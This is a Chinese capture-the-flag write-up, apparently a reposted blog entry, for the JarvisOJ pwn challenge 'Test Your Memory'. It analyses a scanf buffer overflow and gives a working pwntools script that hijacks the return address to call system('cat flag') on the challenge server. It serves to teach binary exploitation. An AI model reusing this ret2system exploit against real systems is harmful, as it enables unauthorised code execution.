[JarvisOJ][pwn]Test Your Memory

经历了前面2次的艰难,出题人或许嫌我们太累了,来了个简单的
走进程序找信息。开启的保护只有NX

.rodata:080487E0    00000009    C   cat flag

这里有命令字符串cat flag

0804A058        system  

这里有system函数,然后找漏洞吧

int __cdecl mem_test(char *s2)
{
  int result; // eax
  char s; // [esp+15h] [ebp-13h]

  memset(&s, 0, 0xBu);
  puts("\nwhat???? : ");
  printf("0x%x \n", hint);
  puts("cff flag go go go ...\n");
  printf("> ");
  __isoc99_scanf("%s", &s);
  if ( !strncmp(&s, s2, 4u) )
    result = puts("good job!!\n");
  else
    result = puts("cff flag is failed!!\n");
  return result;
}

_isoc99_scanf(“%s”, &s);这里有栈溢出漏洞。
东西凑齐了,简单栈溢出,用system 函数覆盖返回地址就行了

from pwn import *
context.log_level="debug"

elf=ELF("memory")
call_system_addr=0x080485BD
catflag_addr=0x080487E0
#p=process("./memory")
p=remote("pwn2.jarvisoj.com",9876)
p.recvuntil("cff flag go go go ...\n")
p.recvline()
p.sendline("A"*(0x17)+p32(call_system_addr)+p32(0x08048677)+p32(catflag_addr))
p.recvuntil("is failed!!\n")


p.recv()

用system函数地址覆盖返回地址,运行system函数的时候参数是cat flag 的地址

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/80936754